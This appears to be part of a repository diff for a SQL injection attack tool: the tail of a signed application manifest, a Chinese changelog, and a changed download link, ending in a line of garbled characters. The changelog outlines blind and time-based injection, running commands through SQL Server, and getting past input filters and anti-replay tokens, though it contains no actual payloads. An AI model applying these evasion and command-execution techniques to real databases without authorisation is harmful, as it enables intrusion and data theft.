<dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<dsig:DigestValue>gAs/TyknF/4dNgKirgeCy0VQSBk=</dsig:DigestValue>
</hash>
</dependentAssembly>
</dependency>
<publisherIdentity name="CN=DESKTOP-T009CQE\shack2" issuerKeyHash="df43df9bccbc72aa76805c6b741d90ac81d9a5e3" /><Signature Id="StrongNameSignature" xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>oaT56oKuR3alD/PZ79QRFQqsr/4=</DigestValue></Reference></SignedInfo><SignatureValue>qMuGCX/i2pzV4msE+YGr7UxOYPngnpJZR2tYM6X2g0xMFU1afxsbf+XYJm2dZQYMQGx1jrnJqvssyWSkLYMNojXyDq6k/3TvcM/t/s2ZvJCz/GWXQckrvMejD2OHukR7ETyctizeIuWXgvQGyYZXG1jY+nB2hYI/h8tYxtv8W78=</SignatureValue><KeyInfo Id="StrongNameKeyInfo"><KeyValue><RSAKeyValue><Modulus>vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue><msrel:RelData xmlns:msrel="http://schemas.microsoft.com/windows/rel/2005/reldata"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:as="http://schemas.microsoft.com/windows/pki/2005/Authenticode"><r:grant><as:ManifestInformation Hash="feafac0a1511d4efd9f30fa57647ae82eaf9a4a1" Description="" Url=""><as:assemblyIdentity name="SuperSQLInjection.application" version="2016.01.05.0" publicKeyToken="46fea4eecaa2932f" language="neutral" processorArchitecture="x86" xmlns="urn:schemas-microsoft-com:asm.v1" /></as:ManifestInformation><as:SignedBy /><as:AuthenticodePublisher><as:X509SubjectName>CN=DESKTOP-T009CQE\shack2</as:X509SubjectName></as:AuthenticodePublisher></r:grant><r:issuer><Signature Id="AuthenticodeSignature" xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>m6wWY1yfDMQPe+z3uaqSAkxql5U=</DigestValue></Reference></SignedInfo><SignatureValue>gYBpuAu5h+mOxWNHvJ/yAPmde9Z0iKr4f2TTQqrWb8IZHqt8zJYfxi0Kh7PLFaf+lNrnbCyM/nQLKK7HBHifVRKIjCNJ9Po9utzrhylLj32I+2dnLd6+tjrH8v19U2rGdJ/aHeppWuSqwzUVnJ3oqbpjnNbmYaogdNCE9SVx/Jw=</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue><X509Data><X509Certificate>MIIB8TCCAVqgAwIBAgIQTPcc6oMYorxGRkGiNt4vdDANBgkqhkiG9w0BAQUFADA3MTUwMwYDVQQDHiwARABFAFMASwBUAE8AUAAtAFQAMAAwADkAQwBRAEUAXABzAGgAYQBjAGsAMjAeFw0xNjAxMDUwNzA2MjVaFw0xNzAxMDQxMzA2MjVaMDcxNTAzBgNVBAMeLABEAEUAUwBLAFQATwBQAC0AVAAwADAAOQBDAFEARQBcAHMAaABhAGMAawAyMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8ajhBRaB8Y3sT9/MWrI12BwbqKvOevWzRzQpPv1VDHJkAmtwDU4/1eVM0zWdWo3jHLosrssHHf3PFDpqHm956/FaTB4JM+p4PBDDzcxAdV69S08bMcxlMBXAysDjD7sU6GqTFaYydpYc6OO5un2afpJT6e5v+Y2JtfnCdJ7eMnQIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAI20fV7Nk6dDe58PeVtblLeUBUBypvhh3ddnU6uO3+Fwv4KorSto6qtFq9uyzY/lPP/u5SQZmVBiZG7pK6vGfDhBt7PAtNoLgzsp7/wXXze7a8IwsAm8gmK0wmYtXK9IvS17UikTNWn9OS73AfvpR8SuzxPnvymkYBG2bsPqmRaj</X509Certificate></X509Data></KeyInfo></Signature></r:issuer></r:license></msrel:RelData></KeyInfo></Signature></asmv1:assembly>

View File

@@ -1,4 +1,65 @@
20160321 V1.0 正式版---
20180809 V1.0 正式版---
修复因为配置文件未变更,导致自动识别到的错误注入标记字符未更换的问题而无法获取数据的问题。
修改sqlserver执行命令时部分情况下因为标准导致插入执行命令的语句位置不正确导致无法正确执行命令。
20180421 V1.0 正式版---
新增rand随机值标记解决例如注册用户功能存在注入因为用户名重复而无法重复发包注入类似问题。
20180421 V1.0 正式版---
新增处理随机Token功能绕过部分防重复提交限制进行注入。
优化sqlserver/mysql获取非英文字符的效率减少发包次数。
20180420 V1.0 正式版---
修复20180308版本处理sqlserver盲注环境下cast转换出现的意外情况时导致无法获取数据的情况。
20180308 V1.0 正式版---
修复sqlserver盲注环境下使用了cast转换无法进行大小判断导致无法获取数据的情况。
201801113 V1.0 正式版---
修复根据URL自动生成测试数据包时如果是https的URL,没有自动选择ssl的情况。
20171227 V1.0 正式版---
修复部分情况下无法停止线程。
20171223 V1.0 正式版---
修复上次修改代码导致的几个错误。
修复自动识别无法判断Union注入的情况。
20171205 V1.0 正式版---
增加使用between绕过大于等于过滤的情况。
修复SQLServer在某些特殊情况下执行命令异常问题。
20171202 V1.0 正式版---
修改线程池控制降低CPU占用提高发包效率。
20170916 V1.0 正式版---
修复mysql盲注由于没有对显示的变量赋值导致数据为空值问题。
20170905 V1.0 正式版---
修复获取数据,在停止后,按钮还处于禁用状态的问题。
20170811 V1.0 正式版---
优化ascii码取值范围减少发包次数。
修复获取数据时获取指定位置的数据是否存在时判断没加上开始下标。
修改SQLServer配置文件中获取public和db_owner在盲注情况下由于数字无法作为substring函数的参数而报错的问题。
修改获取SQLServer版本信息的配置文件只获取前60个字符后面的基本没用就不获取了。
增加SQLServer延时注入。
20170726 V1.0 正式版---
修复部分情况下,部分关键字在使用/*!*/包含导致sql错误无法获取数据的情况。
修复部分情况使用数字填充列无效的情况增加系统自定义设置填充列可使用数字1或null填充。
20170720 V1.0 正式版---
修复部分情况下,部分关键字在随机大小写或者转换大写或者小写时失效。
20170719 V1.0 正式版---
修复替换字符如果原字符是大写的,填写的字符是小写无法替换,现在全部转换小写之后在替换。
20170717 V1.0 正式版---
由于数组设置为1M长度导致HTTP响应过长时无法获取响应内容现改为如果有Content-Length以Content-Length为准如果是其他方式传输默认最大支持。10M长度。
20160321 V1.0 正式版---
老问题又是临时测试改代码忘了改回来导致MYSQL盲注无法获取数据。
MYSQL盲注添加一个空格防止注入标记前面缺少空格时无法获取数据。

View File

@@ -1,2 +1,2 @@
http://pan.baidu.com/s/1i3ji2Kt
https://pan.baidu.com/s/1i3ji2Kt
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϼ<EFBFBD>񲥷Ź<EFBFBD><EFBFBD>ߴ<EFBFBD><EFBFBD><EFBFBD>